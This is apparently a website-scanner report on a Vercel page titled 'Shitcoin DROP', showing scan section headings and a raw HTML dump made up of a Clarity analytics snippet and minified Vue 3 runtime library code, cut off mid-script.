https://shit-ik2dfx.vercel.app/

Submitted URL:
https://shit-ik2dfx.vercel.app/
Report Finished:

The outgoing links identified from the page

JavaScript Variables · 10 found

Global JavaScript variables loaded on the window object of a page, are variables declared outside of functions and accessible from anywhere in the code within the current scope

Console log messages · 1 found

Messages logged to the web console

HTML

The raw HTML body of the page

<!DOCTYPE html><html lang="en" class="dark"><head>
    <meta charset="UTF-8">
    <link rel="icon" type="image/svg+xml" href="https://shitcoin.co/favicon.ico">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
      <title>Shitcoin DROP</title>
      <script async="" src="https://www.clarity.ms/s/0.7.47/clarity.js"></script><script async="" src="https://www.clarity.ms/tag/mt6t6cru16"></script><script type="text/javascript">
          (function(c,l,a,r,i,t,y){
              c[a]=c[a]||function(){(c[a].q=c[a].q||[]).push(arguments)};
              t=l.createElement(r);t.async=1;t.src="https://www.clarity.ms/tag/"+i;
              y=l.getElementsByTagName(r)[0];y.parentNode.insertBefore(t,y);
          })(window, document, "clarity", "script", "mt6t6cru16");
      </script>
    <script type="module" crossorigin="">(function(){const t=document.createElement("link").relList;if(t&&t.supports&&t.supports("modulepreload"))return;for(const o of document.querySelectorAll('link[rel="modulepreload"]'))r(o);new MutationObserver(o=>{for(const i of o)if(i.type==="childList")for(const s of i.addedNodes)s.tagName==="LINK"&&s.rel==="modulepreload"&&r(s)}).observe(document,{childList:!0,subtree:!0});function n(o){const i={};return o.integrity&&(i.integrity=o.integrity),o.referrerPolicy&&(i.referrerPolicy=o.referrerPolicy),o.crossOrigin==="use-credentials"?i.credentials="include":o.crossOrigin==="anonymous"?i.credentials="omit":i.credentials="same-origin",i}function r(o){if(o.ep)return;o.ep=!0;const i=n(o);fetch(o.href,i)}})();const Xs=globalThis||void 0||self;/**
* @vue/shared v3.4.21
* (c) 2018-present Yuxi (Evan) You and Vue contributors
* @license MIT
**/function rb(e,t){const n=new Set(e.split(","));return t?r=>n.has(r.toLowerCase()):r=>n.has(r)}const Zn={},Au=[],on=()=>{},SO=()=>!1,Fp=e=>e.charCodeAt(0)===111&&e.charCodeAt(1)===110&&(e.charCodeAt(2)>122||e.charCodeAt(2)<97),ob=e=>e.startsWith("onUpdate:"),sr=Object.assign,ib=(e,t)=>{const n=e.indexOf(t);n>-1&&e.splice(n,1)},EO=Object.prototype.hasOwnProperty,Gt=(e,t)=>EO.call(e,t),Ve=Array.isArray,Mu=e=>Hd(e)==="[object Map]",Hp=e=>Hd(e)==="[object Set]",bl=e=>Hd(e)==="[object Date]",ot=e=>typeof e=="function",st=e=>typeof e=="string",ua=e=>typeof e=="symbol",At=e=>e!==null&&typeof e=="object",hd=e=>(At(e)||ot(e))&&ot(e.then)&&ot(e.catch),ME=Object.prototype.toString,Hd=e=>ME.call(e),uh=e=>Hd(e).slice(8,-1),rp=e=>Hd(e)==="[object Object]",sb=e=>st(e)&&e!=="NaN"&&e[0]!=="-"&&""+parseInt(e,10)===e,Fc=rb(",key,ref,ref_for,ref_key,onVnodeBeforeMount,onVnodeMounted,onVnodeBeforeUpdate,onVnodeUpdated,onVnodeBeforeUnmount,onVnodeUnmounted"),Pp=e=>{const t=Object.create(null);return n=>t[n]||(t[n]=e(n))},AO=/-(\w)/g,Jo=Pp(e=>e.replace(AO,(t,n)=>n?n.toUpperCase():"")),MO=/\B([A-Z])/g,ba=Pp(e=>e.replace(MO,"-$1").toLowerCase()),Pd=Pp(e=>e.charAt(0).toUpperCase()+e.slice(1)),ch=Pp(e=>e?`on${Pd(e)}`:""),ca=(e,t)=>!Object.is(e,t),dh=(e,t)=>{for(let n=0;n<e.length;n++)e[n](t)},op=(e,t,n)=>{Object.defineProperty(e,t,{configurable:!0,enumerable:!1,value:n})},V0=e=>{const t=parseFloat(e);return isNaN(t)?e:t},CO=e=>{const t=st(e)?Number(e):NaN;return isNaN(t)?e:t};let sq;const CE=()=>sq||(sq=typeof globalThis<"u"?globalThis:typeof self<"u"?self:typeof window<"u"?window:typeof Xs<"u"?Xs:{});function De(e){if(Ve(e)){const t={};for(let n=0;n<e.length;n++){const r=e[n],o=st(r)?zO(r):De(r);if(o)for(const i in o)t[i]=o[i]}return t}else if(st(e)||At(e))return e}const kO=/;(?![^(]*\))/g,xO=/:([^]+)/,OO=/\/\*[^]*?\*\//g;function zO(e){const t={};return e.replace(OO,"").split(kO).forEach(n=>{if(n){const r=n.split(xO);r.length>1&&(t[r[0].trim()]=r[1].trim())}}),t}function F(e){let t="";if(st(e))t=e;else if(Ve(e))for(let n=0;n<e.length;n++){const r=F(e[n]);r&&(t+=r+" ")}else if(At(e))for(const n in e)e[n]&&(t+=n+" ");return t.trim()}function or(e){if(!e)return null;let{class:t,style:n}=e;return t&&!st(t)&&(e.class=F(t)),n&&(e.style=De(n)),e}const KO="itemscope,allowfullscreen,formnovalidate,ismap,nomodule,novalidate,readonly",RO=rb(KO);function kE(e){return!!e||e===""}function LO(e,t){if(e.length!==t.length)return!1;let n=!0;for(let r=0;n&&r<e.length;r++)n=Gu(e[r],t[r]);return n}function Gu(e,t){if(e===t)return!0;let n=bl(e),r=bl(t);if(n||r)return n&&r?e.getTime()===t.getTime():!1;if(n=ua(e),r=ua(t),n||r)return e===t;if(n=Ve(e),r=Ve(t),n||r)return n&&r?LO(e,t):!1;if(n=At(e),r=At(t),n||r){if(!n||!r)return!1;const o=Object.keys(e).length,i=Object.keys(t).length;if(o!==i)return!1;for(const s in e){const a=e.hasOwnProperty(s),l=t.hasOwnProperty(s);if(a&&!l||!a&&l||!Gu(e[s],t[s]))return!1}}return String(e)===String(t)}function xE(e,t){return e.findIndex(n=>Gu(n,t))}const We=e=>st(e)?e:e==null?"":Ve(e)||At(e)&&(e.toString===ME||!ot(e.toString))?JSON.stringify(e,OE,2):String(e),OE=(e,t)=>t&&t.__v_isRef?OE(e,t.value):Mu(t)?{[`Map(${t.size})`]:[...t.entries()].reduce((n,[r,o],i)=>(n[sv(r,i)+" =>"]=o,n),{})}:Hp(t)?{[`Set(${t.size})`]:[...t.values()].map(n=>sv(n))}:ua(t)?sv(t):At(t)&&!Ve(t)&&!rp(t)?String(t):t,sv=(e,t="")=>{var n;return ua(e)?`Symbol(${(n=e.description)!=null?n:t})`:e};/**
* @vue/reactivity v3.4.21
* (c) 2018-present Yuxi (Evan) You and Vue contributors
* @license MIT
**/let mo;class zE{constructor(t=!1){this.detached=t,this._active=!0,this.effects=[],this.cleanups=[],this.parent=mo,!t&&mo&&(this.index=(mo.scopes||(mo.scopes=[])).push(this)-1)}get active(){return this._active}run(t){if(this._active){const n=mo;try{return mo=this,t()}finally{mo=n}}}on(){mo=this}off(){mo=this.parent}stop(t){if(this._active){let n,r;for(n=0,r=this.effects.length;n<r;n++)this.effects[n].stop();for(n=0,r=this.cleanups.length;n<r;n++)this.cleanups[n]();if(this.scopes)for(n=0,r=this.scopes.length;n<r;n++)this.scopes[n].stop(!0);if(!this.detached&&this.parent&&!t){const o=this.parent.scopes.pop();o&&o!==this&&(this.parent.scopes[this.index]=o,o.index=this.index)}this.parent=void 0,this._active=!1}}}function ab(e){return new zE(e)}function ZO(e,t=mo){t&&t.active&&t.effects.push(e)}function lb(){return mo}function ub(e){mo&&mo.cleanups.push(e)}let ul;class cb{constructor(t,n,r,o){this.fn=t,this.trigger=n,this.scheduler=r,this.active=!0,this.deps=[],this._dirtyLevel=4,this._trackId=0,this._runnings=0,this._shouldSchedule=!1,this._depsLength=0,ZO(this,o)}get dirty(){if(this._dirtyLevel===2||this._dirtyLevel===3){this._dirtyLevel=1,Ll();for(let t=0;t<this._depsLength;t++){const n=this.deps[t];if(n.computed&&(TO(n.computed),this._dirtyLevel>=4))break}this._dirtyLevel===1&&(this._dirtyLevel=0),Zl()}return this._dirtyLevel>=4}set dirty(t){this._dirtyLevel=t?4:0}run(){if(this._dirtyLevel=0,!this.active)return this.fn();let t=ta,n=ul;try{return ta=!0,ul=this,this._runnings++,aq(this),this.fn()}finally{lq(this),this._runnings--,ul=n,ta=t}}stop(){var t;this.active&&(aq(this),lq(this),(t=this.onStop)==null||t.call(this),this.active=!1)}}function TO(e){return e.value}function aq(e){e._trackId++,e._depsLength=0}function lq(e){if(e.deps.length>e._depsLength){for(let t=e._depsLength;t<e.deps.length;t++)KE(e.deps[t],e);e.deps.length=e._depsLength}}function KE(e,t){const n=e.get(t);n!==void 0&&t._trackId!==n&&(e.delete(t),e.size===0&&e.cleanup())}let ta=!0,U0=0;const RE=[];function Ll(){RE.push(ta),ta=!1}function Zl(){const e=RE.pop();ta=e===void 0?!0:e}function db(){U0++}function fb(){for(U0--;!U0&&F0.length;)F0.shift()()}function LE(e,t,n){if(t.get(e)!==e._trackId){t.set(e,e._trackId);const r=e.deps[e._depsLength];r!==t?(r&&KE(r,e),e.deps[e._depsLength++]=t):e._depsLength++}}const F0=[];function ZE(e,t,n){db();for(const r of e.keys()){let o;r._dirtyLevel<t&&(o??(o=e.get(r)===r._trackId))&&(r._shouldSchedule||(r._shouldSchedule=r._dirtyLevel===0),r._dirtyLevel=t),r._shouldSchedule&&(o??(o=e.get(r)===r._trackId))&&(r.trigger(),(!r._runnings||r.allowRecurse)&&r._dirtyLevel!==2&&(r._shouldSchedule=!1,r.scheduler&&F0.push(r.scheduler)))}fb()}const TE=(e,t)=>{const n=new Map;return n.cleanup=e,n.computed=t,n},ip=new WeakMap,cl=Symbol(""),H0=Symbol("");function lo(e,t,n){if(ta&&ul){let r=ip.get(e);r||ip.set(e,r=new Map);let o=r.get(n);o||r.set(n,o=TE(()=>r.delete(n))),LE(ul,o)}}function ds(e,t,n,r,o,i){const s=ip.get(e);if(!s)return;let a=[];if(t==="clear")a=[...s.values()];else if(n==="length"&&Ve(e)){const l=Number(r);s.forEach((u,c)=>{(c==="length"||!ua(c)&&c>=l)&&a.push(u)})}else switch(n!==void 0&&a.push(s.get(n)),t){case"add":Ve(e)?sb(n)&&a.push(s.get("length")):(a.push(s.get(cl)),Mu(e)&&a.push(s.get(H0)));break;case"delete":Ve(e)||(a.push(s.get(cl)),Mu(e)&&a.push(s.get(H0)));break;case"set":Mu(e)&&a.push(s.get(cl));break}db();for(const l of a)l&&ZE(l,4);fb()}function NO(e,t){var n;return(n=ip.get(e))==null?void 0:n.get(t)}const jO=rb("__proto__,__v_isRef,__isVue"),NE=new Set(Object.getOwnPropertyNames(Symbol).filter(e=>e!=="arguments"&&e!=="caller").map(e=>Symbol[e]).filter(ua)),uq=WO();function WO(){const e={};return["includes","indexOf","lastIndexOf"].forEach(t=>{e[t]=function(...n){const r=rn(this);for(let i=0,s=this.length;i<s;i++)lo(r,"get",i+"");const o=r[t](...n);return o===-1||o===!1?r[t](...n.map(rn)):o}}),["push","pop","shift","unshift","splice"].forEach(t=>{e[t]=function(...n){Ll(),db();const r=rn(this)[t].apply(this,n);return fb(),Zl(),r}}),e}function GO(e){const t=rn(this);return lo(t,"has",e),t.hasOwnProperty(e)}class jE{constructor(t=!1,n=!1){this._isReadonly=t,this._isShallow=n}get(t,n,r){const o=this._isReadonly,i=this._isShallow;if(n==="__v_isReactive")return!o;if(n==="__v_isReadonly")return o;if(n==="__v_isShallow")return i;if(n==="__v_raw")return r===(o?i?$O:BE:i?YE:GE).get(t)||Object.getPrototypeOf(t)===Object.getPrototypeOf(r)?t:void 0;const s=Ve(t);if(!o){if(s&&Gt(uq,n))return Reflect.get(uq,n,r);if(n==="hasOwnProperty")return GO}const a=Reflect.get(t,n,r);return(ua(n)?NE.has(n):jO(n))||(o||lo(t,"get",n),i)?a:mn(a)?s&&sb(n)?a:a.value:At(a)?o?Tl(a):$t(a):a}}class WE extends jE{constructor(t=!1){super(!1,t)}set(t,n,r,o){let i=t[n];if(!this._isShallow){const l=Yu(i);if(!sp(r)&&!Yu(r)&&(i=rn(i),r=rn(r)),!Ve(t)&&mn(i)&&!mn(r))return l?!1:(i.value=r,!0)}const s=Ve(t)&&sb(n)?Number(n)<t.length:Gt(t,n),a=Reflect.set(t,n,r,o);return t===rn(o)&&(s?ca(r,i)&&ds(t,"set",n,r):ds(t,"add",n,r)),a}deleteProperty(t,n){const r=Gt(t,n);t[n];const o=Reflect.deleteProperty(t,n);return o&&r&&ds(t,"delete",n,void 0),o}has(t,n){const r=Reflect.has(t,n);return(!ua(n)||!NE.has(n))&&lo(t,"has",n),r}ownKeys(t){return lo(t,"iterate",Ve(t)?"length":cl),Reflect.ownKeys(t)}}class YO extends jE{constructor(t=!1){super(!0,t)}set(t,n){return!0}deleteProperty(t,n){return!0}}const BO=new WE,JO=new YO,VO=new WE(!0),hb=e=>e,Dp=e=>Reflect.getPrototypeOf(e);function If(e,t,n=!1,r=!1){e=e.__v_raw;const o=rn(e),i=rn(t);n||(ca(t,i)&&lo(o,"get",t),lo(o,"get",i));const{has:s}=Dp(o),a=r?hb:n?vb:pd;if(s.call(o,t))return a(e.get(t));if(s.call(o,i))return a(e.get(i));e!==o&&e.get(t)}function qf(e,t=!1){const n=this.__v_raw,r=rn(n),o=rn(e);return t||(ca(e,o)&&lo(r,"has",e),lo(r,"has",o)),e===o?n.has(e):n.has(e)||n.has(o)}function wf(e,t=!1){return e=e.__v_raw,!t&&lo(rn(e),"iterate",cl),Reflect.get(e,"size",e)}function cq(e){e=rn(e);const t=rn(this);return Dp(t).has.call(t,e)||(t.add(e),ds(t,"add",e,e)),this}function dq(e,t){t=rn(t);const n=rn(this),{has:r,get:o}=Dp(n);let i=r.call(n,e);i||(e=rn(e),i=r.call(n,e));const s=o.call(n,e);return n.set(e,t),i?ca(t,s)&&ds(n,"set",e,t):ds(n,"add",e,t),this}function fq(e){const t=rn(this),{has:n,get:r}=Dp(t);let o=n.call(t,e);o||(e=rn(e),o=n.call(t,e)),r&&r.call(t,e);const i=t.delete(e);return o&&ds(t,"delete",e,void 0),i}function hq(){const e=rn(this),t=e.size!==0,n=e.clear();return t&&ds(e,"clear",void 0,void 0),n}function Sf(e,t){return function(r,o){const i=this,s=i.__v_raw,a=rn(s),l=t?hb:e?vb:pd;return!e&&lo(a,"iterate",cl),s.forEach((u,c)=>r.call(o,l(u),l(c),i))}}function Ef(e,t,n){return function(...r){const o=this.__v_raw,i=rn(o),s=Mu(i),a=e==="entries"||e===Symbol.iterator&&s,l=e==="keys"&&s,u=o[e](...r),c=n?hb:t?vb:pd;return!t&&lo(i,"iterate",l?H0:cl),{next(){const{value:f,done:p}=u.next();return p?{value:f,done:p}:{value:a?[c(f[0]),c(f[1])]:c(f),done:p}},[Symbol.iterator](){return this}}}}function ks(e){return function(...t){return e==="delete"?!1:e==="clear"?void 0:this}}function UO(){const e={get(i){return If(this,i)},get size(){return wf(this)},has:qf,add:cq,set:dq,delete:fq,clear:hq,forEach:Sf(!1,!1)},t={get(i){return If(this,i,!1,!0)},get size(){return wf(this)},has:qf,add:cq,set:dq,delete:fq,clear:hq,forEach:Sf(!1,!0)},n={get(i){return If(this,i,!0)},get size(){return wf(this,!0)},has(i){return qf.call(this,i,!0)},add:ks("add"),set:ks("set"),delete:ks("delete"),clear:ks("clear"),forEach:Sf(!0,!1)},r={get(i){return If(this,i,!0,!0)},get size(){return wf(this,!0)},has(i){return qf.call(this,i,!0)},add:ks("add"),set:ks("set"),delete:ks("delete"),clear:ks("clear"),forEach:Sf(!0,!0)};return["keys","values","entries",Symbol.iterator].forEach(i=>{e[i]=Ef(i,!1,!1),n[i]=Ef(i,!0,!1),t[i]=Ef(i,!1,!0),r[i]=Ef(i,!0,!0)}),[e,n,t,r]}const[FO,HO,PO,DO]=UO();function pb(e,t){const n=t?e?DO:PO:e?HO:FO;return(r,o,i)=>o==="__v_isReactive"?!e:o==="__v_isReadonly"?e:o==="__v_raw"?r:Reflect.get(Gt(n,o)&&o in r?n:r,o,i)}const XO={get:pb(!1,!1)},QO={get:pb(!1,!0)},_O={get:pb(!0,!1)},GE=new WeakMap,YE=new WeakMap,BE=new WeakMap,$O=new WeakMap;function ez(e){switch(e){case"Object":case"Array":return 1;case"Map":case"Set":case"WeakMap":case"WeakSet":return 2;default:return 0}}function tz(e){return e.__v_skip||!Object.isExtensible(e)?0:ez(uh(e))}function $t(e){return Yu(e)?e:mb(e,!1,BO,XO,GE)}function JE(e){return mb(e,!1,VO,QO,YE)}function Tl(e){return mb(e,!0,JO,_O,BE)}function mb(e,t,n,r,o){if(!At(e)||e.__v_raw&&!(t&&e.__v_isReactive))return e;const i=o.get(e);if(i)return i;const s=tz(e);if(s===0)return e;const a=new Proxy(e,s===2?r:n);return o.set(e,a),a}function na(e){return Yu(e)?na(e.__v_raw):!!(e&&e.__v_isReactive)}function Yu(e){return!!(e&&e.__v_isReadonly)}function sp(e){return!!(e&&e.__v_isShallow)}function VE(e){return na(e)||Yu(e)}function rn(e){const t=e&&e.__v_raw;return t?rn(t):e}function fs(e){return Object.isExtensible(e)&&op(e,"__v_skip",!0),e}const pd=e=>At(e)?$t(e):e,vb=e=>At(e)?Tl(e):e;class UE{constructor(t,n,r,o){this.getter=t,this._setter=n,this.dep=void 0,this.__v_isRef=!0,this.__v_isReadonly=!1,this.effect=new cb(()=>t(this._value),()=>fh(this,this.effect._dirtyLevel===2?2:3)),this.effect.computed=this,this.effect.active=this._cacheable=!o,this.__v_isReadonly=r}get value(){const t=rn(this);return(!t._cacheable||t.effect.dirty)&&ca(t._value,t._value=t.effect.run())&&fh(t,4),HE(t),t.effect._dirtyLevel>=2&&fh(t,2),t._value}set value(t){this._setter(t)}get _dirty(){return this.effect.dirty}set _dirty(t){this.effect.dirty=t}}function FE(e,t,n=!1){let r,o;const i=ot(e);return i?(r=e,o=on):(r=e.get,o=e.set),new UE(r,o,i||!o,n)}function HE(e){var t;ta&&ul&&(e=rn(e),LE(ul,(t=e.dep)!=null?t:e.dep=TE(()=>e.dep=void 0,e instanceof UE?e:void 0)))}function fh(e,t=4,n){e=rn(e);const r=e.dep;r&&ZE(r,t)}function mn(e){return!!(e&&e.__v_isRef===!0)}function D(e){return PE(e,!1)}function ln(e){return PE(e,!0)}function PE(e,t){return mn(e)?e:new nz(e,t)}class nz{constructor(t,n){this.__v_isShallow=n,this.dep=void 0,this.__v_isRef=!0,this._rawValue=n?t:rn(t),this._value=n?t:pd(t)}get value(){return HE(this),this._value}set value(t){const n=this.__v_isShallow||sp(t)||Yu(t);t=n?t:rn(t),ca(t,this._rawValue)&&(this._rawValue=t,this._value=n?t:pd(t),fh(this,4))}}function d(e){return mn(e)?e.value:e}const rz={get:(e,t,n)=>d(Reflect.get(e,t,n)),set:(e,t,n,r)=>{const o=e[t];return mn(o)&&!mn(n)?(o.value=n,!0):Reflect.set(e,t,n,r)}};function DE(e){return na(e)?e:new Proxy(e,rz)}function Fn(e){const t=Ve(e)?new Array(e.length):{};for(const n in e)t[n]=XE(e,n);return t}class oz{constructor(t,n,r){this._object=t,this._key=n,this._defaultValue=r,this.__v_isRef=!0}get value(){const t=this._object[this._key];return t===void 0?this._defaultValue:t}set value(t){this._object[this._key]=t}get dep(){return NO(rn(this._object),this._key)}}class iz{constructor(t){this._getter=t,this.__v_isRef=!0,this.__v_isReadonly=!0}get value(){return this._getter()}}function hn(e,t,n){return mn(e)?e:ot(e)?new iz(e):At(e)&&arguments.length>1?XE(e,t,n):D(e)}function XE(e,t,n){const r=e[t];return mn(r)?r:new oz(e,t,n)}/**
* @vue/runtime-core v3.4.21
* (c) 2018-present Yuxi (Evan) You and Vue contributors
* @license MIT
**/function ra(e,t,n,r){try{return r?e(...r):e()}catch(o){Xp(o,t,n)}}function Wo(e,t,n,r){if(ot(e)){const i=ra(e,t,n,r);return i&&hd(i)&&i.catch(s=>{Xp(s,t,n)}),i}const o=[];for(let i=0;i<e.length;i++)o.push(Wo(e[i],t,n,r));return o}function Xp(e,t,n,r=!0){const o=t?t.vnode:null;if(t){let i=t.parent;const s=t.proxy,a=`https://vuejs.org/error-reference/#runtime-${n}`;for(;i;){const u=i.ec;if(u){for(let c=0;c<u.length;c++)if(u[c](e,s,a)===!1)return}i=i.parent}const l=t.appContext.config.errorHandler;if(l){ra(l,null,10,[e,s,a]);return}}sz(e,n,o,r)}function sz(e,t,n,r=!0){console.error(e)}let md=!1,P0=!1;const Nr=[];let Mi=0;const Cu=[];let Js=null,Ja=0;const QE=Promise.resolve();let gb=null;function $e(e){const t=gb||QE;return e?t.then(this?e.bind(this):e):t}function az(e){let t=Mi+1,n=Nr.length;for(;t<n;){const r=t+n>>>1,o=Nr[r],i=vd(o);i<e||i===e&&o.pre?t=r+1:n=r}return t}function yb(e){(!Nr.length||!Nr.includes(e,md&&e.allowRecurse?Mi+1:Mi))&&(e.id==null?Nr.push(e):Nr.splice(az(e.id),0,e),_E())}function _E(){!md&&!P0&&(P0=!0,gb=QE.then(eA))}function lz(e){const t=Nr.indexOf(e);t>Mi&&Nr.splice(t,1)}function uz(e){Ve(e)?Cu.push(...e):(!Js||!Js.includes(e,e.allowRecurse?Ja+1:Ja))&&Cu.push(e),_E()}function pq(e,t,n=md?Mi+1:0){for(;n<Nr.length;n++){const r=Nr[n];if(r&&r.pre){if(e&&r.id!==e.uid)continue;Nr.splice(n,1),n--,r()}}}function $E(e){if(Cu.length){const t=[...new Set(Cu)].sort((n,r)=>vd(n)-vd(r));if(Cu.length=0,Js){Js.push(...t);return}for(Js=t,Ja=0;Ja<Js.length;Ja++)Js[Ja]();Js=null,Ja=0}}const vd=e=>e.id==null?1/0:e.id,cz=(e,t)=>{const n=vd(e)-vd(t);if(n===0){if(e.pre&&!t.pre)return-1;if(t.pre&&!e.pre)return 1}return n};function eA(e){P0=!1,md=!0,Nr.sort(cz);try{for(Mi=0;Mi<Nr.length;Mi++){const t=Nr[Mi];t&&t.active!==!1&&ra(t,null,14)}}finally{Mi=0,Nr.length=0,$E(),md=!1,gb=null,(Nr.length||Cu.length)&&eA()}}function dz(e,t,...n){if(e.isUnmounted)return;const r=e.vnode.props||Zn;let o=n;const i=t.startsWith("update:"),s=i&&t.slice(7);if(s&&s in r){const c=`${s==="modelValue"?"model":s}Modifiers`,{number:f,trim:p}=r[c]||Zn;p&&(o=n.map(m=>st(m)?m.trim():m)),f&&(o=n.map(V0))}let a,l=r[a=ch(t)]||r[a=ch(Jo(t))];!l&&i&&(l=r[a=ch(ba(t))]),l&&Wo(l,e,6,o);const u=r[a+"Once"];if(u){if(!e.emitted)e.emitted={};else if(e.emitted[a])return;e.emitted[a]=!0,Wo(u,e,6,o)}}function tA(e,t,n=!1){const r=t.emitsCache,o=r.get(e);if(o!==void 0)return o;const i=e.emits;let s={},a=!1;if(!ot(e)){const l=u=>{const c=tA(u,t,!0);c&&(a=!0,sr(s,c))};!n&&t.mixins.length&&t.mixins.forEach(l),e.extends&&l(e.extends),e.mixins&&e.mixins.forEach(l)}return!i&&!a?(At(e)&&r.set(e,null),null):(Ve(i)?i.forEach(l=>s[l]=null):sr(s,i),At(e)&&r.set(e,s),s)}function Qp(e,t){return!e||!Fp(t)?!1:(t=t.slice(2).replace(/Once$/,""),Gt(e,t[0].toLowerCase()+t.slice(1))||Gt(e,ba(t))||Gt(e,t))}let ir=null,_p=null;function ap(e){const t=ir;return ir=e,_p=e&&e.type.__scopeId||null,t}function nA(e){_p=e}function rA(){_p=null}function fe(e,t=ir,n){if(!t||e._n)return e;const r=(...o)=>{r._d&&kq(-1);const i=ap(t);let s;try{s=e(...o)}finally{ap(i),r._d&&kq(1)}return s};return r._n=!0,r._c=!0,r._d=!0,r}function av(e){const{type:t,vnode:n,proxy:r,withProxy:o,props:i,propsOptions:[s],slots:a,attrs:l,emit:u,render:c,renderCache:f,data:p,setupState:m,ctx:g,inheritAttrs:v}=e;let I,q;const M=ap(e);try{if(n.shapeFlag&4){const x=o||r,R=x;I=Ai(c.call(R,x,f,i,m,p,g)),q=l}else{const x=t;I=Ai(x.length>1?x(i,{attrs:l,slots:a,emit:u}):x(i,null)),q=t.props?l:fz(l)}}catch(x){Xc.length=0,Xp(x,e,1),I=ae(Dr)}let E=I;if(q&&v!==!1){const x=Object.keys(q),{shapeFlag:R}=E;x.length&&R&7&&(s&&x.some(ob)&&(q=hz(q,s)),E=vs(E,q))}return n.dirs&&(E=vs(E),E.dirs=E.dirs?E.dirs.concat(n.dirs):n.dirs),n.transition&&(E.transition=n.transition),I=E,ap(M),I}const fz=e=>{let t;for(const n in e)(n==="class"||n==="style"||Fp(n))&&((t||(t={}))[n]=e[n]);return t},hz=(e,t)=>{const n={};for(const r in e)(!ob(r)||!(r.slice(9)in t))&&(n[r]=e[r]);return n};function pz(e,t,n){const{props:r,children:o,component:i}=e,{props:s,children:a,patchFlag:l}=t,u=i.emitsOptions;if(t.dirs||t.transition)return!0;if(n&&l>=0){if(l&1024)return!0;if(l&16)return r?mq(r,s,u):!!s;if(l&8){const c=t.dynamicProps;for(let f=0;f<c.length;f++){const p=c[f];if(s[p]!==r[p]&&!Qp(u,p))return!0}}}else return(o||a)&&(!a||!a.$stable)?!0:r===s?!1:r?s?mq(r,s,u):!0:!!s;return!1}function mq(e,t,n){const r=Object.keys(t);if(r.length!==Object.keys(e).length)return!0;for(let o=0;o<r.length;o++){const i=r[o];if(t[i]!==e[i]&&!Qp(n,i))return!0}return!1}function mz({vnode:e,parent:t},n){for(;t;){const r=t.subTree;if(r.suspense&&r.suspense.activeBranch===e&&(r.el=e.el),r===e)(e=t.vnode).el=n,t=t.parent;else break}}const bb="components",vz="directives";function pt(e,t){return Ib(bb,e,!0,t)||e}const oA=Symbol.for("v-ndc");function Et(e){return st(e)?Ib(bb,e,!1)||e:e||oA}function $p(e){return Ib(vz,e)}function Ib(e,t,n=!0,r=!1){const o=ir||br;if(o){const i=o.type;if(e===bb){const a=aK(i,!1);if(a&&(a===t||a===Jo(t)||a===Pd(Jo(t))))return i}const s=vq(o[e]||i[e],t)||vq(o.appContext[e],t);return!s&&r?i:s}}function vq(e,t){return e&&(e[t]||e[Jo(t)]||e[Pd(Jo(t))])}const gz=e=>e.__isSuspense;function yz(e,t){t&&t.pendingBranch?Ve(e)?t.effects.push(...e):t.effects.push(e):uz(e)}const bz=Symbol.for("v-scx"),Iz=()=>Fe(bz);function Gn(e,t){return qb(e,null,t)}const Af={};function Ce(e,t,n){return qb(e,t,n)}function qb(e,t,{immediate:n,deep:r,flush:o,once:i,onTrack:s,onTrigger:a}=Zn){if(t&&i){const K=t;t=(...W)=>{K(...W),R()}}const l=br,u=K=>r===!0?K:Qa(K,r===!1?1:void 0);let c,f=!1,p=!1;if(mn(e)?(c=()=>e.value,f=sp(e)):na(e)?(c=()=>u(e),f=!0):Ve(e)?(p=!0,f=e.some(K=>na(K)||sp(K)),c=()=>e.map(K=>{if(mn(K))return K.value;if(na(K))return u(K);if(ot(K))return ra(K,l,2)})):ot(e)?t?c=()=>ra(e,l,2):c=()=>(m&&m(),Wo(e,l,3,[g])):c=on,t&&r){const K=c;c=()=>Qa(K())}let m,g=K=>{m=E.onStop=()=>{ra(K,l,4),m=E.onStop=void 0}},v;if(om)if(g=on,t?n&&Wo(t,l,3,[c(),p?[]:void 0,g]):c(),o==="sync"){const K=Iz();v=K.__watcherHandles||(K.__watcherHandles=[])}else return on;let I=p?new Array(e.length).fill(Af):Af;const q=()=>{if(!(!E.active||!E.dirty))if(t){const K=E.run();(r||f||(p?K.some((W,j)=>ca(W,I[j])):ca(K,I)))&&(m&&m(),Wo(t,l,3,[K,I===Af?void 0:p&&I[0]===Af?[]:I,g]),I=K)}else E.run()};q.allowRecurse=!!t;let M;o==="sync"?M=q:o==="post"?M=()=>ro(q,l&&l.suspense):(q.pre=!0,l&&(q.id=l.uid),M=()=>yb(q));const E=new cb(c,on,M),x=lb(),R=()=>{E.stop(),x&&ib(x.effects,E)};return t?n?q():I=E.run():o==="post"?ro(E.run.bind(E),l&&l.suspense):E.run(),v&&v.push(R),R}function qz(e,t,n){const r=this.proxy,o=st(e)?e.includes(".")?iA(r,e):()=>r[e]:e.bind(r,r);let i;ot(t)?i=t:(i=t.handler,n=t);const s=Dd(this),a=qb(o,i.bind(r),n);return s(),a}function iA(e,t){const n=t.split(".");return()=>{let r=e;for(let o=0;o<n.length&&r;o++)r=r[n[o]];return r}}function Qa(e,t,n=0,r){if(!At(e)||e.__v_skip)return e;if(t&&t>0){if(n>=t)return e;n++}if(r=r||new Set,r.has(e))return e;if(r.add(e),mn(e))Qa(e.value,t,n,r);else if(Ve(e))for(let o=0;o<e.length;o++)Qa(e[o],t,n,r);else if(Hp(e)||Mu(e))e.forEach(o=>{Qa(o,t,n,r)});else if(rp(e))for(const o in e)Qa(e[o],t,n,r);return e}function ft(e,t){if(ir===null)return e;const n=im(ir)||ir.proxy,r=e.dirs||(e.dirs=[]);for(let o=0;o<t.length;o++){let[i,s,a,l=Zn]=t[o];i&&(ot(i)&&(i={mounted:i,updated:i}),i.deep&&Qa(s),r.push({dir:i,instance:n,value:s,oldValue:void 0,arg:a,modifiers:l}))}return e}function La(e,t,n,r){const o=e.dirs,i=t&&t.dirs;for(let s=0;s<o.length;s++){const a=o[s];i&&(a.oldValue=i[s].value);let l=a.dir[r];l&&(Ll(),Wo(l,n,8,[e.el,a,e,t]),Zl())}}const Vs=Symbol("_leaveCb"),Mf=Symbol("_enterCb");function sA(){const e={isMounted:!1,isLeaving:!1,isUnmounting:!1,leavingVNodes:new Map};return mt(()=>{e.isMounted=!0}),vn(()=>{e.isUnmounting=!0}),e}const 